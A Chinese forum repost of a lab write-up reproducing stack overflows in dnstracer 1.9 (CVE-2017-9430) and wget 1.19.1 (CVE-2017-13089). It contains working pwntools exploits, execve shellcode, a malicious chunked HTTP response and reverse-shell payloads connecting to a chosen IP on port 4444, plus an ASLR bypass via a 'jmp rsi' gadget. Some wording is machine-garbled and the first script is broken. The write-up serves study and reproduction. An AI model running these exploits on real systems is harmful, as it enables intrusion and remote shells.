郭卫东 发表于 2024-5-17 04:16:06

从CVE复现看栈溢出漏洞利用

最近复现了两个栈溢出漏洞的cve,分别是CVE-2017-9430和CVE-2017-13089,简单记录一下real wrold中的栈溢出漏洞学习。目前,栈溢出漏洞主要出现在iot固件中,linux下的已经很少了,所以这两个洞都是17年,比力早,但还是能学到一些东西。
CVE-2017-9430

1.漏洞描述

dnstracer 1.9 及之前版本中基于堆栈的缓冲区溢出允许攻击者通过命令行造成拒绝服务(应用程序瓦解),或者可能通过命令行造成未指定的其他影响。
2.环境搭建

编译安装DNSTracer 1.9
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz
tar zxvf dnstracer-1.9.tar.gz
cd dnstracer-1.9
./confugure

make && sudo make install在make前,修改Makefile
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32编译好后,关闭ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space
或者
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"3.漏洞成因

https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548705.png
程序在处理命令行参数时,调用strcpy函数对argv进行处理时,由于处理不妥,导致了栈溢出漏洞。
4.漏洞利用

这里在进行利用时,关闭了ASLR、PIE、Canary、RELRO、NX等缓解机制。
由于strcpy未对参数长度进行查抄,这里导致的栈溢出漏洞可以溢出足够的字符长度,并且关闭了各种缓解机制,所以我们通过返回到shellcode的方式获取shell。但在复现的过程中,发现一个有趣的地方。如果我直接溢出到返回地址,并不能完成预想的get shell。回到汇编
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548706.png
发现了题目,这里在ret之前,栈指针变了,是由ecx的值决定的,而ecx是从栈pop出来的。分析这段汇编代码发现,如果正常情况下,末了esp的位置和直接返回的没有这段处理代码的位置相同,但由于由这段代码,就导致不能直接覆盖到返回地址,否则会在实行倒数第二条汇编指令时触发非法地址。
所以,这里不能直接覆盖到返回地址,而是要通过布置栈中数据控制ecx,从而将ecx-4处的地址赋给esp,使esp指向存有shellcode地址的位置,如许就可以正常完成get shell了。
内存布局如下图
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548707.png
exp如下:
#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *

context(os = 'linux', arch = 'amd64', log_level = 'info')
# context(os = 'linux', arch = 'amd64', log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

elf = './dnstracer-1.9/dnstracer'
# elf = ELF('./simpleinterpreter')

#-----------------------------------------------------------------------------------------
rv = lambda x          : p.recv(x)
rl = lambda a=False    : p.recvline(a)
ru = lambda a,b=True     : p.recvuntil(a,b)
rn = lambda x          : p.recvn(x)
sn = lambda x          : p.send(x)
sl = lambda x          : p.sendline(x)
sa = lambda a,b        : p.sendafter(a,b)
sla = lambda a,b         : p.sendlineafter(a,b)
u32 = lambda             : u32(p.recv(4).ljust(4,b'\x00'))
u64 = lambda             : u64(p.recv(6).ljust(8,b'\x00'))
inter = lambda           : p.interactive()
debug = lambda text=None : gdb.attach(p, text)
lg = lambda s,addr       : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))
#-----------------------------------------------------------------------------------------

if __name__ == "__main__":

      filling = "\x90"*(1050-32-32-1-0x300)
   filling += "\x4c\xcd\xff\xff"     # ShellcodeAddress
   filling += "\x90"*0x300       # 0xffffcd4c
   filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa"
   filling += "bbbb"*4
   filling += "\x4c\xcd\xff\xff" # ecx   esp=

   payload = filling
   p = gdb.debug(,"b *0x0804969E")
   inter()
​5.坑点

在复现的时间还有一些坑点,我暂时也不知道缘故原由。
①第一点就是这个在返回前对esp进行处理的汇编,我不知道为什么我编译出来的程序会有这一段,在网上看其他师傅复现的文档,都没有遇到这个题目,迷惑ing。
②第二点是我在复现的时间,明显已经关闭了ASLR了,按理说每次调试的时间,栈地址应该不会变才对,但事实上,我当天的地址是固定的,但隔天可能就会有0x10的偏移,很诡异,这就导致exp无法稳固攻击,为此只能在shellcode前面加许多的nop,让这个地址即使发生了偏移也能完成利用。
【----资助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析陈诉
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权势巨子CISSP 认证测验指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
CVE-2017-13089

1.漏洞描述

http.c:skip_short_body() 函数在某些情况下被调用,例如在处理重定向时,在 1.19.2 之前的 wget 中分块发送相应时,块解析器利用 strtol() 读取每个块的长度,但不查抄块长度是否为非负数,然后,代码尝试利用 MIN() 宏跳过 512 字节的块,但最终将负块长度转达给 connect.c:fd_read(),由于 fd_read() 采用 int 参数,因此丢弃了块长度的 32 位高位,使 fd_read() 具有完全由攻击者控制的长度参数。
2.环境搭建

在ubuntu16.04下搭建会比力稳固。
sudo apt-get install libneon27-gnutls-dev
wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz
tar zxvf wget-1.19.1.tar.gz
cd wget-1.19.1
sudo apt-get remove wget
./configure
make && sudo make installhttps://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548709.png
3.漏洞成因

由于利用strtol来读取每个块的长度,但没有进行负数查抄。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548710.png
例如读入长度为-0xFFFFF000,经过处理得到v22为0xffffffff00001000
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548711.png
背面有3次对长度的校验,但都只进行了上限校验,未进行下限校验,由于v22是int,且符号位为1,都满足校验条件,最终将长度传入函数fd_read。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548712.png
由于fd_read()函数的长度参数即a3为无符号数,就使得读取的长度由用户可控,造成了栈溢出。
4.漏洞利用

这里在进行利用时,我们首先关闭ASLR、PIE、Canary、RELRO、NX等缓解机制。
根据漏洞成因的分析,我们可以先构造poc,控制读取的长度为我们利用需要的size,这里我设置为0x1000,相应poc如下
payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
"""调试方式:
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548713.png
天生poc
python3 exp.py发包窗口
nc -lp 6666 < poc2             gdb调试窗口
gdb wget
b *addr
r localhost:6666先实行exp,天生poc,然后发包,然后实行wget http://localhost:6666
这个的栈溢出就比前面那个cve的栈溢出正常一点,直接覆盖返回地址为shellcode的地址就可以了。由于我们这里关闭了所有缓解机制,就直接在栈中布置shellcode,获取shellcode地址,覆盖到返回地址就ok了。
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548714.png
exp如下
from pwn import *​payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
"""context(arch='amd64', os='linux')sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh())#print(sc)payload = payload.encode()payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568stack = 0x7fffffffd190payload += p64(stack) #输入数据起始地址payload += b"\n0\n"​with open('poc2','wb') as f:    f.write(payload)但是,如果开了ASLR,怎么办呢,我们很自然地会想到jmp reg的方式。
首先看看ret的时间,有没有寄存器可以用
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548715.png
很巧,rsi正好指向我们的shellcode,于是我们就可以去找个jmp rsi的gadget完成ASLR的绕过
直接找gadget比力慢,可以先把所有gadget重定向到txt中,然后在txt中查找会比力快
ROPgadget --binary=wget > gadget.txt
cat gadget.txt | grep 'jmp rsi'https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548716.png
得到绕过ASLR的exp
from pwn import *​payload = """HTTP/1.1 401 Not Authorized
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-0xFFFFF000
"""context(arch='amd64', os='linux')sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh())#print(sc)payload = payload.encode()payload += sc + (560+8-len(sc))*b'\x90' #栈偏移量568stack = 0x7fffffffd190jmp_rsi = 0x0000000000475bcb#payload += p64(stack) #输入数据起始地址payload += p64(jmp_rsi)payload += b"\n0\n"​with open('poc2','wb') as f:    f.write(payload)https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548717.png
可以看到,乐成绕过了ASLR缓解机制,实行shellcode
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548718.png
5.坑点

在复现的过程中,我发现在关闭ASLR时,我通过第一种方式攻击,必须在gdb中实行才气乐成,如下图
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548719.png
直接在命令行中实行wget http://localhost:6666会瓦解
https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202404111548720.png
但绕过ASLR的exp就可以直接实行,我猜疑是没有把ASLR完全关闭,但查看ASLR的值确实都是0,不知道为啥会如许。
小总结

在对这两个cve的复现中,对栈溢出漏洞的ret2shellcode和jmp reg两种利用方式进行了复习,遇到了一点比力故意思的东西,比如第一个cve中ret前对esp的改变。岂论是在ctf中还是realworld,程序的利用最终一定是基于对程序汇编的理解,遇到题目,回归本源。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 从CVE复现看栈溢出漏洞利用